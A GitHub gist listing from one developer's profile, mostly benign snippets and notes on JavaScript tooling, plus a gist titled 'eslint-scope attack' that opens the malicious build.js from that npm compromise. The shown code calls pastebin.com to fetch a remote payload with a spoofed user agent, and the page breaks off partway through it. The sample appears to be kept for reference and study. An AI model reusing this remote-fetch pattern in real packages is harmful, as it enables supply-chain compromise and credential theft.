Skip to content

Instantly share code, notes, and snippets.

View hzoo's full-sized avatar
🌱
outside

Henry hzoo

🌱
outside
View GitHub Profile
@hzoo
hzoo / twitchfilter.js
Last active August 29, 2015 13:56
TwitchPlaysPokemon chat filter
//here's a cleaner version. same functionality
//just easier to change since the regex is at the beginning of the code.
//help from /u/BBQCalculator
//http://www.regexper.com/
//http://regexpal.com/
//modfied from a lot of others
//moved regex to top for simple pasting if it needs to change
var REGEX = /^((up|down|left|right|a|b|start|select|anarchy|democracy)\d*)+$/i;
@hzoo
hzoo / removeLowRank.js
Last active August 29, 2015 14:00
Delicious - remove low link rank sites
//selects all links in delicious page with link rank <= var for deletion
var minimumLinkRank = 10;
clearInterval(scroll);
var scroll = window.setInterval(function() {
window.scrollTo(0,document.body.scrollHeight);
}, 5000);
var feedList = document.querySelector('.link-list');
var historyLength = feedList.children.length;
@hzoo
hzoo / urf.ahk
Created June 21, 2014 23:58
auto press spells for URF mode (use `, f6,f7,f8,f9,f10)
#NoEnv
#singleInstance, Force
#InstallKeybdHook
#MaxThreadsPerHotkey, 2
#Persistent
#UseHook
SendMode Input
CoordMode,ToolTip,Screen
SetBatchLines, -1
@hzoo
hzoo / toggleRTL.js
Created February 25, 2015 14:24
Bookmarklet to toggleRTL (also adds rtl class to body)
(function() {
var body = $("body");
var dir = body.css("direction");
if (dir === "") {
body.css("direction", "rtl");
body.toggleClass('rtl');
} else if (dir === "ltr") {
body.css("direction", "rtl");
} else {
body.css("direction", "ltr");
@hzoo
hzoo / babel-plugin-lint-add-curly.js
Last active September 16, 2015 01:49
babel formatter example - `add-curly`
// babel 5.8.22 with astexplorer.net
export default function ({ Plugin, types: t }) {
function addCurly(body) {
if (t.isExpressionStatement(body)) {
return t.blockStatement([body]);
} else if (Array.isArray(body) && body.length > 0 && !t.isBlockStatement(body[0])) {
return [t.blockStatement(body)];
} else {
return body;
}
@hzoo
hzoo / jscs
Last active January 13, 2016 05:06
jscs autofix
# install jscs (globally or not)
npm install jscs
# you will need to install from my branch unless we make a new release
# so in your package.json:
# "jscs": "hzoo/node-jscs#require-semi-cp"
# create a .jscsrc config file with relevant rule
echo '{ "requireSemicolons": true }' > .jscsrc
@hzoo
hzoo / plan.md
Last active July 13, 2018 15:19
Recruiting emails + open source

So I was thinking about how I never respond to recruiter emails, and how their way of try to appeal to me is a bit lacking: work on some framework, create a new framework, be a senior dev/cto, etc.

I was just thinking a bitabout how companies can change to better support open source, so why not respond back with some suggestions?

Can suggest:

  • donating to projects via Open Collective
  • having developer time to contribute back to open source
@hzoo
hzoo / naur.md
Last active July 9, 2022 15:28 — forked from dpritchett/naur.md
Programming as Theory Building

Programming as Theory Building

Peter Naur, 1985

PDF: http://pages.cs.wisc.edu/~remzi/Naur.pdf

Introduction

The present discussion is a contribution to the understanding of what programming is. It suggests that programming properly should be regarded as an activity by which the programmers form or achieve a certain kind of insight, a theory, of the matters at hand. This suggestion is in contrast to what appears to be a more common notion, that programming should be regarded as a production of a program and certain other texts.

@hzoo
hzoo / npm_error.md
Last active March 22, 2024 10:03
`No matching version found for` babel

You might of seen something like:

npm ERR! code ETARGET
npm ERR! notarget No matching version found for @babel/types@^7.9.6.
npm ERR! notarget In most cases you or one of your dependencies are requesting
npm ERR! notarget a package version that doesn't exist.
npm ERR! notarget
@hzoo
hzoo / build.js
Created July 12, 2018 19:20
eslint-scope attack
try {
var https = require("https");
https
.get(
{
hostname: "pastebin.com",
path: "/raw/XLeVP82h",
headers: {
"User-Agent":
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",